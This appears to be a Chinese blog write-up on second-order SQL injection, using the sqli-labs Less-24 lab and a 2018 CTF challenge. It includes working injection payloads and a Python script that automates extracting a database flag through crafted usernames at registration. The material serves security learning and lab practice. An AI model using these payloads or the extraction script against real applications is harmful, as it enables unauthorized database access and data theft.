首页 > 数据库 >二次注入(SQL)

二次注入(SQL)

时间:2024-04-17 21:13:37浏览次数:27  
标签:二次 22% SQL 注入 ascii 数据库 页面

先来一段理论

二次SQL注入(Second-Order SQL Injection)是一种特殊类型的SQL注入攻击。与一般的SQL注入攻击类似,攻击者会通过输入恶意的SQL语句来执行非法操作。而二次SQL注入则是指攻击者在应用程序中注入恶意的数据,然后等待应用程序将这些数据存储在数据库中。当应用程序再次从数据库中读取这些数据时,恶意数据就会被读取出来,并执行恶意操作。例如,一个web应用程序可能会将用户输入的内容存储在数据库中,然后在后续的页面中将这些内容显示出来。如果攻击者在用户输入中注入了恶意SQL语句,那么这些语句会被存储在数据库中。当应用程序从数据库中读取这些内容并在后续的逻辑中使用时,恶意SQL语句就有可能被执行,从而导致攻击成功。

例题

sqli靶场的Less-24

打开靶场发现是一个登录页面,需要我们输入用户名和密码

观察一下,一般都存在注册页面,那么下方的New User click here应该就是注册页面

我们先注册一个用户test密码是123,之后跳转至登录页面

使用test/123登录,发现登录成功,并且带有用户名的回显,这里就存在二次注入的风险

首先,当我们在注册页面输入用户名和密码时,网站会把输入的数据保存在数据库中

而当我们登录成功后会把用户名回显在网页上,这说明网站又调用数据库,并从中把数据库中的数据取了出来,如果我们在注册页面就插入恶意代码,在在重置密码的页面调用,即可实现注入

我们注册一个新用户test'#,密码是1234

登录后修改密码为110120,发现test'#用户的密码没变,而test用户密码变成了110120

查看下源码

发现当我们输入test'#时,闭合了sql查询语句username的前一个单引号,而注释符号后面的内容无效,此时sql语句变为

UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' "等效于UPDATE users SET PASSWORD='$pass' where username='test'

那么最后改变的就是test用户的密码

此时,如果我们在注册页面的用户名输入的是类似于ascii(substr((select database()) from 1 for 1))的语句,即可实现从数据库中读取数据,完成注入!

2018网鼎杯Unfinish

这道题与上题类似,但难度更高

打开是一个登录界面,凭经验来说,这种一般还存在注册页面,只是ctf的题没有跳转的接口,需要自己寻找(扫后台dirsearch、御剑都可以),或者直接盲猜

来到注册页面,发现我们需要输入邮箱、用户名和密码,尝试输入

注册后又跳转到了登录页面

 通过邮箱和密码实现登录后,发现来到另一个界面index.php,并且有qwe的回显,考虑二次注入的方向。

这里的逻辑基本就是在注册页面注入恶意数据,在登录页面调用数据库中的脏数据,实现注入1,最后把结果返回到index.php页面

ok

开始注入,先拿一个注入举例子,之后可以写脚本实现批量注入

就拿实现成功回显数据库名的第一个字符为例

我们在注册页面的用户名栏输入0'+ascii(substr((select database()) from 1 for 1))+'0

之后登录,发现此时回显的不是用户名0'+ascii(substr((select database()) from 1 for 1))+'0,而是119,就是数据库名称的第一个字符,查看acii码表,发现是小写w

ok,之后实现批量注入

脚本如下

 1 #coding:utf-8
 2 import requests
 3 from bs4 import BeautifulSoup
 4 import time
 5  
 6  
 7 url = 'http://61.147.171.105:52577/'
 8  
 9 m = ''
10 for i in range(100):
11     #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
12     payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少
13     register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
14     login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
15     req = requests.session()
16     r1 = req.post(url+'register.php',data = register)
17     r2 = req.post(url+'login.php', data = login)
18     r3 = req.post(url+'index.php')
19     html = r3.text
20     #print(html)
21     soup = BeautifulSoup(html,'html.parser')
22     #print(soup.prettify())
23     UserName = soup.span.string
24     print(UserName)
25     if int(UserName) == 0:
26         break
27     m += chr(int(UserName))
28     print(m)
29     time.sleep(1)

运行脚本即可获得flag

注意点

关于本题SQL中如何闭合单引号的问题

因为此题中#被过滤,导致我们无法闭合单引号

MySQL中的+只能当做运算符,而不能用作字符串的连接符号,如下图

当+两边一边是数值,一边是字符串时,会将字符串转换为数值之后再相加,如果我们输入0'+ascii()+'0,最后就会变为'0'+ascii()+'0'即为ascii(),成功完成注入!

requests.exceptions.ConnectTimeout

运行py脚本,一开始经常报错

requests.exceptions.ConnectTimeout

查了一下是因为设置的时间太短,当服务器在指定的时间内未做出响应,则会抛出requests.exceptions.ConnectTimeout的错误

具体可以参考文章:https://blog.csdn.net/yuan2019035055/article/details/126628852

总结

SQL的二次注入是两个页面执行了同一处输入点,导致第二次执行了已经存储在数据库中的恶意代码,让攻击者完成注入!

本菜鸟也尝试开始写点py脚本,像本题中就使用了beautifulSoup的第三方库来完成对flag的提取。

参考博客:

https://blog.csdn.net/qq_53079406/article/details/125284454?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22125284454%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

https://blog.csdn.net/qq_54929891/article/details/124911240?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22124911240%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

https://zhuanlan.zhihu.com/p/39917830

 

 

标签:二次,22%,SQL,注入,ascii,数据库,页面
From: https://www.cnblogs.com/zyToJH/p/18141332

相关文章

  • openGauss Slow-Query-Diagnosis-慢SQL根因分析命令参考
    命令参考表1gs_dbmindcomponentslow_query_diagnosis命令行说明参数参数说明取值范围-h,--help帮助命令-action动作参数show:结果展示clean:清理结果diagnosis:交互诊断-c,--conf配置目录---query慢SQL文本*--start-time显示开始时间......
  • openGauss Slow-Query-Diagnosis-慢SQL根因分析使用指导
    使用指导假设用户已经初始化配置文件目录confpath,则可以通过下述命令实现本特性的功能:仅启动慢SQL诊断功能(输出Top3根因),启动命令如下(更多用法参考对service子命令的说明):gs_dbmindservicestart-cconfpath--only-runslow_query_diagnosis用户交互式慢SQL诊断,命令如下......
  • openGauss SQLdiag-慢SQL发现
    SQLdiag:慢SQL发现SQLdiag是openGauss中SQL语句执行时长预测工具。现有的预测技术主要基于执行计划的预测方法,但这些预测方案仅适用于OLAP场景且可以获取执行计划的任务,对于OLTP或者HTAP这样的快速、简单查询是没有太多使用价值的。与上述方案不同,SQLdiag着眼于数据库的历史SQL语......
  • openGauss Slow-Query-Diagnosis-慢SQL根因分析常见问题处理
    常见问题处理如果用户对没有执行过的慢SQL执行交互式诊断命令,则无法给出诊断结果。exporter指标采集功能没有启动时运行慢SQL诊断功能,此时功能无法正常运行。配置文件中的参数重新设置后,需要重新启动服务进程才能生效。使用慢SQL的交互诊断功能时,工具基于RPC和数据采集服务获......
  • Failing package is: mysql-community-server-5.7.44-1.el7.x86_64 GPG Keys are con
    Failingpackageis:mysql-community-server-5.7.44-1.el7.x86_64GPGKeysareconfiguredas:file:///etc/pki/rpm-gpg/RPM-GPG-KEY-mysql  执行 wget--quiet--output-document-https://repo.mysql.com/RPM-GPG-KEY-mysql-2022|gpg--no-default-keyring--keyr......
  • centos7 安装 Mysql 5.7.28,详细完整教程
    https://cloud.tencent.com/developer/article/1886339 1. 下载MySQLyum包wgethttp://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm复制2.安装MySQL源rpm-Uvhmysql57-community-release-el7-10.noarch.rpm复制3.安装MySQL服务端,需要等待一些......
  • Centos系统彻底卸载MySQL数据库
    一、检查系统是否安装了MySQL数据库命令:rpm-qa|grep-imysql  二、关闭MySQL服务命令:servicemysqlstop三、卸载并删除MySQL(不检查依赖关系)卸载common命令:rpm-ev--nodepsmysql-community-common-8.0.29-1.el7.x86_64  卸载libs命令:rpm-ev--nodepsmysql-......
  • Go 单元测试之Mysql数据库集成测试
    目录一、sqlmock介绍二、安装三、基本用法四、一个小案例五、Gorm初始化注意点一、sqlmock介绍sqlmock是一个用于测试数据库交互的Go模拟库。它可以模拟SQL查询、插入、更新等操作,并且可以验证SQL语句的执行情况,非常适合用于单元测试中。二、安装gogetgithub.com/......
  • openGauss SQLdiag-慢SQL发现获取帮助
    获取帮助使用SQLdiag工具前,您可以通过以下指令获取帮助。gs_dbmindcomponentsqldiag--help显示如下帮助信息:usage:[-h][-fCSV_FILE][--predicted-filePREDICTED_FILE][--model{template,dnn}]--model-pathMODEL_PATH[--config......
  • openGauss SQLdiag-慢SQL发现命令参考
    命令参考表1命令行参数说明参数参数说明取值范围-f训练或预测文件位置---predicted-file预测结果存储位置---model模型选择template,dnn--model-path训练模型存储位置-......